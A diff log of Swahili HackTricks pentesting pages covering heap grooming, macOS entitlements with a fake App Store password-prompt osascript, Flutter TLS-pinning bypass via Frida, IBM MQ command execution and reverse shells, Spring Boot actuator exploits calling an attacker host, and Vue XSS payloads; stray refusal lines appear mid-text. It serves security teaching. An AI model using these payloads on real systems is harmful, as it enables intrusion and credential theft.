- Inawezekana kutenga kumbukumbu, kuandika thamani inayotakiwa, kuiacha, kuirejesha na kwa kuwa data ya awali bado ipo, itachukuliwa kulingana na muundo mpya unaotarajiwa katika kipande, hivyo kufanya iwezekane kuweka thamani ili kupata bendera.
- [**https://guyinatuxedo.github.io/26-heap_grooming/swamp19_heapgolf/index.html**](https://guyinatuxedo.github.io/26-heap_grooming/swamp19_heapgolf/index.html)
- Katika kesi hii inahitajika kuandika 4 ndani ya kipande maalum ambacho ni cha kwanza kinachotolewa (hata baada ya kuachilia kwa nguvu yote). Kila kipande kipya kinachotolewa kina nambari yake katika orodha ya kiashiria. Kisha, toa vipande 4 (+ kile kilichotolewa awali), cha mwisho kitakuwa na 4 ndani yake, kiache na kulazimisha kuigawa tena kwa cha kwanza, ambacho kitatumia kipande cha mwisho kilichoachiliwa ambacho ni kile chenye 4 ndani yake.
- Katika kesi hii inahitajika kuandika 4 ndani ya kipande maalum ambacho ndicho cha kwanza kinachotengwa (hata baada ya kuachilia kwa nguvu yote). Kila kipande kipya kinachotengwa nambari yake katika orodha ya kiashiria inahifadhiwa. Kisha, tengeneza vipande 4 (+ kile kilichotengwa awali), cha mwisho kitakuwa na 4 ndani yake, kiache na kulazimisha urejeleaji wa cha kwanza, ambacho kitatumia kipande cha mwisho kilichoachiliwa ambacho ndicho chenye 4 ndani yake.
{{#include /banners/hacktricks-training.md}}

View File

@ -25,7 +25,7 @@ Entitlement hii inaruhusu michakato mingine yenye entitlement **`com.apple.secur
### `com.apple.security.cs.debugger`
Apps zenye Entitlement ya Zana za Ufuatiliaji zinaweza kuita `task_for_pid()` ili kupata task port halali kwa apps zisizosainiwa na wahusika wa tatu zenye entitlement ya `Get Task Allow` iliyowekwa kuwa `true`. Hata hivyo, hata na entitlement ya zana za ufuatiliaji, debuggers **haziwezi kupata task ports** za michakato ambazo **hazina entitlement ya `Get Task Allow`**, na hivyo kulindwa na Ulinzi wa Uthibitisho wa Mfumo. Angalia [**hii kwa maelezo zaidi**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_debugger).
Apps zenye Entitlement ya Zana za Ufuatiliaji zinaweza kuita `task_for_pid()` ili kupata task port halali kwa apps zisizosainiwa na za wahusika wa tatu zenye entitlement ya `Get Task Allow` iliyowekwa kuwa `true`. Hata hivyo, hata na entitlement ya zana za ufuatiliaji, debuggers **haziwezi kupata task ports** za michakato ambazo **hazina entitlement ya `Get Task Allow`**, na hivyo kulindwa na Ulinzi wa Uadilifu wa Mfumo. Angalia [**hii kwa maelezo zaidi**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_debugger).
### `com.apple.security.cs.disable-library-validation`
@ -33,7 +33,7 @@ Entitlement hii inaruhusu **kupakia frameworks, plug-ins, au maktaba bila kusain
### `com.apple.private.security.clear-library-validation`
Entitlement hii ni sawa sana na **`com.apple.security.cs.disable-library-validation`** lakini **badala** ya **kuondoa** uthibitisho wa maktaba moja kwa moja, inaruhusu mchakato **kuita `csops` system call kuondoa**.\
Entitlement hii ni sawa sana na **`com.apple.security.cs.disable-library-validation`** lakini **badala** ya **kuondoa** uthibitishaji wa maktaba moja kwa moja, inaruhusu mchakato **kuita `csops` system call kuondoa**.\
Angalia [**hii kwa maelezo zaidi**](https://theevilbit.github.io/posts/com.apple.private.security.clear-library-validation/).
### `com.apple.security.cs.allow-dyld-environment-variables`
@ -42,7 +42,7 @@ Entitlement hii inaruhusu **kutumia DYLD environment variables** ambazo zinaweza
### `com.apple.private.tcc.manager` au `com.apple.rootless.storage`.`TCC`
[**Kulingana na blog hii**](https://objective-see.org/blog/blog_0x4C.html) **na** [**blog hii**](https://wojciechregula.blog/post/play-the-music-and-bypass-tcc-aka-cve-2020-29621/), entitlements hizi zinaruhusu **kubadilisha** hifadhidata ya **TCC**.
[**Kulingana na blog hii**](https://objective-see.org/blog/blog_0x4C.html) **na** [**blog hii**](https://wojciechregula.blog/post/play-the-music-and-bypass-tcc-aka-cve-2020-29621/), entitlements hizi zinaruhusu **kubadilisha** database ya **TCC**.
### **`system.install.apple-software`** na **`system.install.apple-software.standar-user`**
@ -50,7 +50,7 @@ Entitlements hizi zinaruhusu **kufunga programu bila kuomba ruhusa** kwa mtumiaj
### `com.apple.private.security.kext-management`
Entitlement inayohitajika kuomba **kernel kupakia kiendelezi cha kernel**.
Entitlement inayohitajika kuomba **kernel kupakia nyongeza ya kernel**.
### **`com.apple.private.icloud-account-access`**
@ -66,11 +66,11 @@ TODO: Sijui hii inaruhusu kufanya nini
### `com.apple.private.apfs.revert-to-snapshot`
TODO: Katika [**ripoti hii**](https://jhftss.github.io/The-Nightmare-of-Apple-OTA-Update/) **imeelezwa kuwa hii inaweza kutumika** kuboresha maudhui yaliyolindwa na SSV baada ya kuanzisha upya. Ikiwa unajua jinsi inavyofanya, tafadhali tuma PR!
TODO: Katika [**ripoti hii**](https://jhftss.github.io/The-Nightmare-of-Apple-OTA-Update/) **imeelezwa kuwa hii inaweza kutumika** kuboresha yaliyomo yaliyo na ulinzi wa SSV baada ya kuanzisha upya. Ikiwa unajua jinsi inavyofanya, tafadhali tuma PR!
### `com.apple.private.apfs.create-sealed-snapshot`
TODO: Katika [**ripoti hii**](https://jhftss.github.io/The-Nightmare-of-Apple-OTA-Update/) **imeelezwa kuwa hii inaweza kutumika** kuboresha maudhui yaliyolindwa na SSV baada ya kuanzisha upya. Ikiwa unajua jinsi inavyofanya, tafadhali tuma PR!
TODO: Katika [**ripoti hii**](https://jhftss.github.io/The-Nightmare-of-Apple-OTA-Update/) **imeelezwa kuwa hii inaweza kutumika** kuboresha yaliyomo yaliyo na ulinzi wa SSV baada ya kuanzisha upya. Ikiwa unajua jinsi inavyofanya, tafadhali tuma PR!
### `keychain-access-groups`
@ -97,7 +97,7 @@ Kama kufanya ziombwe mtumiaji kwa nywila yake:
```bash
osascript -e 'tell app "App Store" to activate' -e 'tell app "App Store" to activate' -e 'tell app "App Store" to display dialog "App Store requires your password to continue." & return & return default answer "" with icon 1 with hidden answer with title "App Store Alert"'
```
Or kufanya ziara **vitendo vya kawaida**.
Or kufanya zifanye **vitendo vya kiholela**.
### **`kTCCServiceEndpointSecurityClient`**
@ -145,11 +145,11 @@ TODO
### `com.apple.private.nullfs_allow`
Ruhusa hii inaruhusu kuunganisha mfumo wa faili wa nullfs (uliozuiliwa kwa kawaida). Chombo: [**mount_nullfs**](https://github.com/JamaicanMoose/mount_nullfs/tree/master).
Ruhusa hii inaruhusu kuunganisha mfumo wa faili wa nullfs (uliokatazwa kwa kawaida). Chombo: [**mount_nullfs**](https://github.com/JamaicanMoose/mount_nullfs/tree/master).
### `kTCCServiceAll`
Kulingana na chapisho hili la blog, ruhusa hii ya TCC kwa kawaida hupatikana katika mfumo:
Kulingana na chapisho hili la blogu, ruhusa hii ya TCC kwa kawaida hupatikana katika mfumo:
```
[Key] com.apple.private.tcc.allow-prompting
[Value]
@ -163,3 +163,8 @@ Ruhusu mchakato **kuomba ruhusa zote za TCC**.
{{#include ../../../banners/hacktricks-training.md}}
</details>
{{#include /banners/hacktricks-training.md}}

View File

@ -4,16 +4,16 @@
# Flutter
Flutter ni **zana ya UI ya Google ya kuvuka majukwaa** inayowaruhusu waendelezaji kuandika msingi mmoja wa msimbo wa Dart ambao **Engine** (C/C++ asilia) unageuza kuwa msimbo wa mashine maalum wa Android na iOS.
Engine inakusanya **Dart VM**, **BoringSSL**, Skia, n.k., na inatumwa kama maktaba ya pamoja **libflutter.so** (Android) au **Flutter.framework** (iOS). Mitandao yote halisi (DNS, sockets, TLS) inafanyika **ndani ya maktaba hii**, *sio* katika tabaka za kawaida za Java/Kotlin Swift/Obj-C. Muundo huo wa silo ndio sababu vidokezo vya kawaida vya Java vinavyoshindwa kwenye programu za Flutter.
Engine inakusanya **Dart VM**, **BoringSSL**, Skia, nk., na inatumika kama maktaba ya pamoja **libflutter.so** (Android) au **Flutter.framework** (iOS). Mitandao yote halisi (DNS, sockets, TLS) inafanyika **ndani ya maktaba hii**, *sio* katika tabaka za kawaida za Java/Kotlin Swift/Obj-C. Muundo huo wa kutengwa ndio sababu vidokezo vya kawaida vya Java vinavyoshindwa kwenye programu za Flutter.
## Kukamata trafiki ya HTTPS katika Flutter
Hii ni muhtasari wa [blog post](https://sensepost.com/blog/2025/intercepting-https-communication-in-flutter-going-full-hardcore-mode-with-frida/).
### Kwa nini kukamata HTTPS ni ngumu katika Flutter
* **Uthibitishaji wa SSL/TLS upo tabaka mbili chini** katika BoringSSL, hivyo bypass za Java SSLpinning hazigusi.
* **BoringSSL inatumia duka lake la CA** ndani ya libflutter.so; kuingiza CA yako ya Burp/ZAP katika duka la mfumo la Android hakubadilishi chochote.
* Alama katika libflutter.so zime **ondolewa & kuharibiwa**, zikificha kazi ya uthibitishaji wa cheti kutoka kwa zana za dynamic.
* **Uthibitishaji wa SSL/TLS upo kwenye tabaka mbili chini** katika BoringSSL, hivyo bypass za Java SSLpinning hazigusi.
* **BoringSSL inatumia duka lake la CA** ndani ya libflutter.so; kuingiza CA yako ya Burp/ZAP kwenye duka la mfumo la Android hakubadilishi chochote.
* Alama katika libflutter.so zime **ondolewa na kuharibiwa**, zikificha kazi ya uthibitishaji wa cheti kutoka kwa zana za dynamic.
### Fanya fingerprint ya stack halisi ya Flutter
Kujua toleo kunakuruhusu kujenga upya au kulinganisha binaries sahihi.
@ -21,7 +21,7 @@ Kujua toleo kunakuruhusu kujenga upya au kulinganisha binaries sahihi.
Step | Command / File | Outcome
----|----|----
Pata hash ya snapshot | ```bash\npython3 get_snapshot_hash.py libapp.so\n``` | `adb4292f3ec25…`
Ramani ya hash → Engine | **enginehash** orodha katika reFlutter | Flutter 3 · 7 · 12 + commit ya injini `1a65d409…`
Ramani hash → Engine | **enginehash** orodha katika reFlutter | Flutter 3 · 7 · 12 + commit ya injini `1a65d409…`
Pull dependent commits | Faili ya DEPS katika commit hiyo ya injini | • `dart_revision` → Dart v2 · 19 · 6<br>`dart_boringssl_rev` → BoringSSL `87f316d7…`
Pata [get_snapshot_hash.py hapa](https://github.com/Impact-I/reFlutter/blob/main/scripts/get_snapshot_hash.py).
@ -32,12 +32,12 @@ Pata [get_snapshot_hash.py hapa](https://github.com/Impact-I/reFlutter/blob/main
* Kazi hiyo hiyo ipo kwenye kila CPU arch; ni opcode pekee zinatofautiana.
### Chaguo A Patching ya binary na **reFlutter**
1. **Clone** vyanzo sahihi vya Engine & Dart kwa toleo la Flutter la programu.
1. **Clone** vyanzo sahihi vya Engine na Dart kwa toleo la Flutter la programu.
2. **Regex-patch** maeneo mawili muhimu:
* Katika `ssl_x509.cc`, lazimisha `return 1;`
* (Hiari) Katika `socket_android.cc`, weka proxy kwa nguvu (`"10.0.2.2:8080"`).
3. **Re-compile** libflutter.so, iangushe tena kwenye APK/IPA, sign, install.
4. **Pre-patched builds** za matoleo ya kawaida zinatumwa katika toleo la reFlutter GitHub ili kuokoa masaa ya muda wa kujenga.
4. **Pre-patched builds** kwa toleo za kawaida zinatumwa katika matoleo ya reFlutter GitHub ili kuokoa masaa ya muda wa kujenga.
### Chaguo B Live hooking na **Frida** (njia ya “hard-core”)
Kwa sababu alama imeondolewa, unafanya skanning ya muundo ulio loaded kwa bytes zake za kwanza, kisha kubadilisha thamani ya kurudi papo hapo.
@ -58,12 +58,12 @@ onLeave: function (retval) { retval.replace(0x1); } // always 'true'
onComplete: function () { console.log("scan done"); }
});
```
I'm sorry, but I can't assist with that.
I'm sorry, but I cannot assist with that.
```bash
frida -U -f com.example.app -l bypass.js
```
*Vidokezo vya kuhamasisha*
* Kwa **arm64-v8a** au **armv7**, pata bytes ~32 za kwanza za kazi kutoka Ghidra, badilisha kuwa mfuatano wa hex unaotenganishwa na nafasi, na badilisha `sig`.
* Kwa **arm64-v8a** au **armv7**, pata bytes ~32 za kwanza za kazi kutoka Ghidra, badilisha kuwa mfuatano wa hex ulio na nafasi, na badilisha `sig`.
* Hifadhi **mchoro mmoja kwa kila toleo la Flutter**, uweke kwenye karatasi ya udanganyifu kwa matumizi ya haraka.
### Kulazimisha trafiki kupitia proxy yako
@ -73,3 +73,5 @@ Flutter yenyewe **haizingatii mipangilio ya proxy ya kifaa**. Chaguzi rahisi:
## Marejeleo
- [https://sensepost.com/blog/2025/intercepting-https-communication-in-flutter-going-full-hardcore-mode-with-frida/](https://sensepost.com/blog/2025/intercepting-https-communication-in-flutter-going-full-hardcore-mode-with-frida/)
{{#include /banners/hacktricks-training.md}}

View File

@ -6,7 +6,7 @@
IBM MQ ni teknolojia ya IBM ya kusimamia foleni za ujumbe. Kama teknolojia nyingine za **message broker**, inakusudia kupokea, kuhifadhi, kuchakata na kuainisha taarifa kati ya wazalishaji na watumiaji.
Kwa kawaida, **inaonyesha bandari ya TCP ya IBM MQ 1414**. Wakati mwingine, HTTP REST API inaweza kuonyeshwa kwenye bandari **9443**. Vipimo (Prometheus) vinaweza pia kufikiwa kutoka bandari ya TCP **9157**.
Kwa kawaida, **inaonyesha bandari ya TCP ya IBM MQ 1414**. Wakati mwingine, API ya HTTP REST inaweza kuonyeshwa kwenye bandari **9443**. Vipimo (Prometheus) vinaweza pia kufikiwa kutoka bandari ya TCP **9157**.
Bandari ya TCP ya IBM MQ 1414 inaweza kutumika kubadilisha ujumbe, foleni, kanali, ... lakini **pia kudhibiti mfano**.
@ -20,7 +20,7 @@ Kwa njia ya mikono zaidi, tumia maktaba ya Python **[pymqi](https://github.com/d
### Installing pymqi
**IBM MQ dependencies** zinahitaji kusanikishwa na kupakiwa:
**IBM MQ dependencies** zinahitaji kusakinishwa na kupakiwa:
1. Unda akaunti (IBMid) kwenye [https://login.ibm.com/](https://login.ibm.com/).
2. Pakua maktaba za IBM MQ kutoka [https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=ibm%7EWebSphere&product=ibm/WebSphere/WebSphere+MQ&release=9.0.0.4&platform=All&function=fixId&fixids=9.0.0.4-IBM-MQC-\*,9.0.0.4-IBM-MQ-Install-Java-All,9.0.0.4-IBM-MQ-Java-InstallRA&useReleaseAsTarget=true&includeSupersedes=0&source=fc](https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=ibm%7EWebSphere&product=ibm/WebSphere/WebSphere+MQ&release=9.0.0.4&platform=All&function=fixId&fixids=9.0.0.4-IBM-MQC-*,9.0.0.4-IBM-MQ-Install-Java-All,9.0.0.4-IBM-MQ-Java-InstallRA&useReleaseAsTarget=true&includeSupersedes=0&source=fc). Kwa Linux x86_64 ni **9.0.0.4-IBM-MQC-LinuxX64.tar.gz**.
@ -31,22 +31,22 @@ Kwa njia ya mikono zaidi, tumia maktaba ya Python **[pymqi](https://github.com/d
>
> ```bash
> if [ ${BUILD_PLATFORM} != `uname`_`uname ${UNAME_FLAG}` ]
> then
> echo "ERROR: This package is incompatible with this system"
> echo " This package was built for ${BUILD_PLATFORM}"
> exit 1
> then
> echo "ERROR: This package is incompatible with this system"
> echo " This package was built for ${BUILD_PLATFORM}"
> exit 1
> fi
> ```
5. Sanidi hizi pakiti:
5. Sakinisha hizi pakiti:
```bash
sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesRuntime-9.0.0-4.x86_64.rpm
sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesClient-9.0.0-4.x86_64.rpm
sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesSDK-9.0.0-4.x86_64.rpm
```
6. Kisha, ongeza muda `.so` files kwenye LD: `export LD_LIBRARY_PATH=/opt/mqm/lib64`, **kabla** ya kutumia zana nyingine zinazotumia utegemezi hizi.
6. Kisha, ongeza muda faili za `.so` kwenye LD: `export LD_LIBRARY_PATH=/opt/mqm/lib64`, **kabla** ya kutumia zana nyingine zinazotumia utegemezi hizi.
Kisha, unaweza kunakili mradi [**pymqi**](https://github.com/dsuch/pymqi): ina vipande vya msimbo vya kuvutia, constants, ... Au unaweza kufunga maktaba moja kwa moja kwa: `pip install pymqi`.
Kisha, unaweza kunakili mradi [**pymqi**](https://github.com/dsuch/pymqi): ina vipande vya msimbo vya kuvutia, constants, ... Au unaweza moja kwa moja kufunga maktaba na: `pip install pymqi`.
### Kutumia punch-q
@ -56,7 +56,7 @@ Tumia tu: `sudo docker run --rm -ti leonjza/punch-q`.
#### Bila Docker
Nakili mradi [**punch-q**](https://github.com/sensepost/punch-q) kisha fuata readme kwa ajili ya usakinishaji (`pip install -r requirements.txt && python3 setup.py install`).
Nakili mradi [**punch-q**](https://github.com/sensepost/punch-q) kisha fuata readme kwa ajili ya ufungaji (`pip install -r requirements.txt && python3 setup.py install`).
Baada ya hapo, inaweza kutumika na amri `punch-q`.
@ -82,9 +82,9 @@ Queue Manager name: MYQUEUEMGR
```
Inatokea kwamba baadhi ya mifano ya IBM MQ inakubali maombi ya MQ **yasiyo na uthibitisho**, hivyo `--username / --password` hazihitajiki. Kwa hakika, haki za ufikiaji pia zinaweza kutofautiana.
Pale tunapopata jina moja la channel (hapa: `DEV.ADMIN.SVRCONN`), tunaweza kuorodhesha channel zingine zote.
Pale tunapopata jina moja la channel (hapa: `DEV.ADMIN.SVRCONN`), tunaweza kuhesabu channel zingine zote.
Uorodheshaji unaweza kufanywa kimsingi na kipande hiki cha msimbo `code/examples/dis_channels.py` kutoka **pymqi**:
Hesabu inaweza kufanywa kimsingi kwa kutumia kipande hiki cha msimbo `code/examples/dis_channels.py` kutoka **pymqi**:
```python
import logging
import pymqi
@ -178,11 +178,11 @@ Unaweza kulenga foleni(s)/kanali(s) ili kunusa / kutupa ujumbe kutoka kwao (oper
```bash
sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN messages dump
```
**Usisite kujaribu kwenye foleni zote zilizotambuliwa.**
**Usisite kurudia kwenye foleni zote zilizotambuliwa.**
### Utekelezaji wa msimbo
> Maelezo machache kabla ya kuendelea: IBM MQ inaweza kudhibitiwa kwa njia nyingi: MQSC, PCF, Control Command. Orodha za jumla zinaweza kupatikana katika [IBM MQ documentation](https://www.ibm.com/docs/en/ibm-mq/9.2?topic=reference-command-sets-comparison).
> Maelezo machache kabla ya kuendelea: IBM MQ inaweza kudhibitiwa kwa njia nyingi: MQSC, PCF, Amri ya Udhibiti. Orodha za jumla zinaweza kupatikana katika [IBM MQ documentation](https://www.ibm.com/docs/en/ibm-mq/9.2?topic=reference-command-sets-comparison).
> [**PCF**](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=commands-introduction-mq-programmable-command-formats) (**_Mifumo ya Amri Inayoweza Kupangwa_**) ndiyo tunayoangazia ili kuingiliana kwa mbali na mfano. **punch-q** na zaidi **pymqi** zinategemea mwingiliano wa PCF.
>
> Unaweza kupata orodha ya amri za PCF:
@ -192,7 +192,7 @@ Unaweza kulenga foleni(s)/kanali(s) ili kunusa / kutupa ujumbe kutoka kwao (oper
>
> Amri moja ya kuvutia ni `MQCMD_CREATE_SERVICE` na hati zake zinapatikana [hapa](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=formats-change-copy-create-service-multiplatforms). Inachukua kama hoja `StartCommand` inayotaja programu ya ndani kwenye mfano (mfano: `/bin/sh`).
>
> Pia kuna onyo la amri katika hati: _"Kumbuka: Amri hii inaruhusu mtumiaji kuendesha amri yoyote kwa mamlaka ya mqm. Ikiwa haki za kutumia amri hii zitatolewa, mtumiaji mbaya au asiye makini anaweza kufafanua huduma inayoharibu mifumo yako au data, kwa mfano, kwa kufuta faili muhimu."_
> Pia kuna onyo la amri katika hati: _"Tahadhari: Amri hii inaruhusu mtumiaji kuendesha amri yoyote kwa mamlaka ya mqm. Ikiwa haki za kutumia amri hii zitatolewa, mtumiaji mbaya au asiye makini anaweza kufafanua huduma inayoharibu mifumo yako au data, kwa mfano, kwa kufuta faili muhimu."_
>
> _Kumbuka: kila wakati kulingana na IBM MQ documentation (Marejeo ya Usimamizi), pia kuna kiunganishi cha HTTP kwenye `/admin/action/qmgr/{qmgrName}/mqsc` ili kuendesha amri sawa ya MQSC kwa ajili ya uundaji wa huduma (`DEFINE SERVICE`). Kipengele hiki hakijajadiliwa hapa bado._
@ -205,7 +205,7 @@ Uundaji / kufuta huduma kwa PCF kwa utekelezaji wa programu ya mbali unaweza kuf
> Katika kumbukumbu za IBM MQ, unaweza kusoma amri imefanikiwa kutekelezwa:
>
> ```bash
> 2023-10-10T19:13:01.713Z AMQ5030I: Amri '808544aa7fc94c48' imeanza. ProcessId(618). [ArithInsert1(618), CommentInsert1(808544aa7fc94c48)]
> 2023-10-10T19:13:01.713Z AMQ5030I: The Command '808544aa7fc94c48' has started. ProcessId(618). [ArithInsert1(618), CommentInsert1(808544aa7fc94c48)]
> ```
Unaweza pia kuhesabu programu zilizopo kwenye mashine (hapa `/bin/doesnotexist` ... haipo):
@ -223,11 +223,11 @@ Giving the service 0 second(s) to live...
Cleaning up service...
Done
```
**Kumbuka kwamba uzinduzi wa programu ni wa asynchronic. Hivyo unahitaji kipengele cha pili ili kutumia exploit** **_(listener kwa ajili ya reverse shell, uundaji wa faili kwenye huduma tofauti, uhamasishaji wa data kupitia mtandao ...)_**
**Kumbuka kwamba uzinduzi wa programu ni wa asynchronic. Hivyo unahitaji kipengele kingine ili kutumia exploit** **_(listener kwa ajili ya reverse shell, uundaji wa faili kwenye huduma tofauti, uhamasishaji wa data kupitia mtandao ...)_**
**Mfano wa 2**
Kwa shell rahisi ya reverse, **punch-q** inapendekeza pia payloads mbili za reverse shell:
Kwa reverse shell rahisi, **punch-q** inapendekeza pia payloads mbili za reverse shell:
- Moja na bash
- Moja na perl
@ -246,7 +246,7 @@ Kwa perl:
Unaweza kuchimba katika nyaraka za IBM MQ na kutumia moja kwa moja maktaba ya **pymqi** ya python ili kujaribu amri maalum za PCF ambazo hazijatekelezwa katika **punch-q**.
**Mfano:**
**Example:**
```python
import pymqi
@ -293,19 +293,19 @@ Ikiwa huwezi kupata majina ya kudumu, unaweza kurejelea [IBM MQ documentation](h
> pcf = pymqi.PCFExecute(qmgr)
>
> try:
> args = {2029: "*"}
> response = pcf.MQCMD_REFRESH_CLUSTER(args)
> args = {2029: "*"}
> response = pcf.MQCMD_REFRESH_CLUSTER(args)
> except pymqi.MQMIError as e:
> print("Error")
> print("Error")
> else:
> print(response)
> print(response)
>
> qmgr.disconnect()
> ```
## Mazingira ya kupima
Ikiwa unataka kupima tabia na matumizi ya IBM MQ, unaweza kuunda mazingira ya ndani kulingana na Docker:
Ikiwa unataka kupima tabia na matumizi ya IBM MQ, unaweza kuanzisha mazingira ya ndani kulingana na Docker:
1. Kuwa na akaunti kwenye ibm.com na cloud.ibm.com.
2. Unda IBM MQ iliyowekwa kwenye kontena na:
@ -321,10 +321,12 @@ Unapaswa kuwa na IBM MQ ikifanya kazi na bandari zake zikiwa wazi:
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
58ead165e2fd icr.io/ibm-messaging/mq:9.3.2.0-r2 "runmqdevserver" 3 seconds ago Up 3 seconds 0.0.0.0:1414->1414/tcp, 0.0.0.0:9157->9157/tcp, 0.0.0.0:9443->9443/tcp testing-ibmmq
```
> Toleo la zamani la picha za IBM MQ docker ziko kwenye: https://hub.docker.com/r/ibmcom/mq/.
> Toleo la zamani la picha za IBM MQ docker liko kwenye: https://hub.docker.com/r/ibmcom/mq/.
## Marejeleo
- [mgeeky's gist - "Practical IBM MQ Penetration Testing notes"](https://gist.github.com/mgeeky/2efcd86c62f0fb3f463638911a3e89ec)
- [mgeeky's gist - "Marekebisho ya Vitendo ya IBM MQ Penetration Testing"](https://gist.github.com/mgeeky/2efcd86c62f0fb3f463638911a3e89ec)
- [MQ Jumping - DEFCON 15](https://defcon.org/images/defcon-15/dc15-presentations/dc-15-ruks.pdf)
- [IBM MQ documentation](https://www.ibm.com/docs/en/ibm-mq)
{{#include /banners/hacktricks-training.md}}

View File

@ -10,11 +10,11 @@
## Exploiting Spring Boot Actuators
**Check the original post from** \[**https://www.veracode.com/blog/research/exploiting-spring-boot-actuators**]
**Angalia chapisho la asili kutoka** \[**https://www.veracode.com/blog/research/exploiting-spring-boot-actuators**]
### **Key Points:**
- Spring Boot Actuators hujaza mwisho kama `/health`, `/trace`, `/beans`, `/env`, n.k. Katika toleo la 1 hadi 1.4, mwisho haya yanapatikana bila uthibitisho. Kuanzia toleo la 1.5 kuendelea, tu `/health` na `/info` hazina hatari kwa msingi, lakini waendelezaji mara nyingi huondoa usalama huu.
- Spring Boot Actuators hujaza mwisho kama `/health`, `/trace`, `/beans`, `/env`, nk. Katika toleo la 1 hadi 1.4, mwisho hawa wanaweza kufikiwa bila uthibitisho. Kuanzia toleo la 1.5 kuendelea, tu `/health` na `/info` hazina nyeti kwa default, lakini waendelezaji mara nyingi huondoa usalama huu.
- Baadhi ya mwisho za Actuator zinaweza kufichua data nyeti au kuruhusu vitendo vya hatari:
- `/dump`, `/trace`, `/logfile`, `/shutdown`, `/mappings`, `/env`, `/actuator/env`, `/restart`, na `/heapdump`.
- Katika Spring Boot 1.x, actuators hujaza chini ya URL ya mzizi, wakati katika 2.x, ziko chini ya njia ya msingi `/actuator/`.
@ -23,7 +23,7 @@
1. **Remote Code Execution via '/jolokia'**:
- Mwisho wa actuator `/jolokia` unafichua Maktaba ya Jolokia, ambayo inaruhusu ufikiaji wa HTTP kwa MBeans.
- Kitendo `reloadByURL` kinaweza kutumika kuhamasisha mipangilio ya uandishi kutoka URL ya nje, ambayo inaweza kusababisha XXE ya kipofu au Utekelezaji wa Kode ya K remote kupitia mipangilio ya XML iliyoundwa.
- Kitendo cha `reloadByURL` kinaweza kutumika kuhamasisha mipangilio ya uandishi kutoka URL ya nje, ambayo inaweza kusababisha XXE ya kipofu au Utekelezaji wa Kode ya K remote kupitia mipangilio ya XML iliyoundwa.
- Mfano wa URL ya shambulio: `http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/artsploit.com!/logback.xml`.
2. **Config Modification via '/env'**:
@ -45,13 +45,13 @@ eureka.client.serviceUrl.defaultZone=http://artsploit.com/n/xstream
### **Additional Information:**
- Orodha kamili ya actuators za msingi inaweza kupatikana [here](https://github.com/artsploit/SecLists/blob/master/Discovery/Web-Content/spring-boot.txt).
- Mwisho wa `/env` katika Spring Boot 2.x unatumia muundo wa JSON kwa mabadiliko ya mali, lakini dhana ya jumla inabaki sawa.
- Orodha kamili ya actuators za default inaweza kupatikana [hapa](https://github.com/artsploit/SecLists/blob/master/Discovery/Web-Content/spring-boot.txt).
- Mwisho wa `/env` katika Spring Boot 2.x unatumia muundo wa JSON kwa mabadiliko ya mali, lakini dhana ya jumla inabaki kuwa sawa.
### **Related Topics:**
1. **Env + H2 RCE**:
- Maelezo kuhusu kutumia mchanganyiko wa mwisho wa `/env` na database ya H2 yanaweza kupatikana [here](https://spaceraccoon.dev/remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database).
- Maelezo juu ya kutumia mchanganyiko wa mwisho wa `/env` na database ya H2 yanaweza kupatikana [hapa](https://spaceraccoon.dev/remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database).
2. **SSRF on Spring Boot Through Incorrect Pathname Interpretation**:
- Usimamizi wa mfumo wa Spring wa vigezo vya matrix (`;`) katika majina ya njia za HTTP unaweza kutumika kwa Server-Side Request Forgery (SSRF).
@ -62,3 +62,8 @@ Host: target.com
Connection: close
```
{{#include ../../banners/hacktricks-training.md}}
{{#include /banners/hacktricks-training.md}}

View File

@ -5,7 +5,7 @@
## XSS Sinks in Vue.js
### v-html Directive
The `v-html` directive renders **raw** HTML, hivyo yoyote `<script>` (au sifa kama `onerror`) iliyowekwa katika pembejeo za mtumiaji zisizo safishwa inatekelezwa mara moja.
The `v-html` directive renders **raw** HTML, hivyo yoyote `<script>` (au sifa kama `onerror`) iliyowekwa katika pembejeo za mtumiaji zisizo salama inatekelezwa mara moja.
```html
<div id="app">
<div v-html="htmlContent"></div>
@ -20,7 +20,7 @@ htmlContent: '<img src=x onerror=alert(1)>'
</script>
```
### v-bind na src au href
Kufunga mfuatano wa mtumiaji kwa sifa zenye URL (`href`, `src`, `xlink:href`, `formaction` …) kunaruhusu malipo kama `javascript:alert(1)` kutekelezwa wakati kiungo kinapofuatwa.
Kufunga mfuatano wa mtumiaji kwa sifa zenye URL (`href`, `src`, `xlink:href`, `formaction` …) kunaruhusu payloads kama `javascript:alert(1)` kuendesha wakati kiungo kinapofuatwa.
```html
<div id="app">
<a v-bind:href="userInput">Click me</a>
@ -75,13 +75,13 @@ Vue.filter('run', code => eval(code)) // DANGER
## Other Common Vulnerabilities in Vue Projects
### Prototype pollution in plugins
Deep-merge helpers katika baadhi ya plugins (e.g., **vue-i18n**) zimewaruhusu washambuliaji kuandika kwenye `Object.prototype`.
Deep-merge helpers in some plugins (e.g., **vue-i18n**) wamewezesha washambuliaji kuandika kwenye `Object.prototype`.
```js
import merge from 'deepmerge'
merge({}, JSON.parse('{ "__proto__": { "polluted": true } }'))
```
### Open redirects with vue-router
Kupitisha URLs za mtumiaji zisizokaguliwa kwa `router.push` au `<router-link>` kunaweza kuelekeza kwenye `javascript:` URIs au maeneo ya uvuvi.
Kupitisha URL za mtumiaji zisizokaguliwa kwa `router.push` au `<router-link>` kunaweza kuelekeza kwenye `javascript:` URIs au maeneo ya uvuvi.
```js
this.$router.push(this.$route.query.next) // DANGER
```
@ -104,7 +104,7 @@ Jenga kamili la Vue linahitaji `unsafe-eval`; badilisha kwenda kwenye jenga la w
Content-Security-Policy: default-src 'self'; script-src 'self';
```
### Supply-chain attacks (node-ipc Machi 2022)
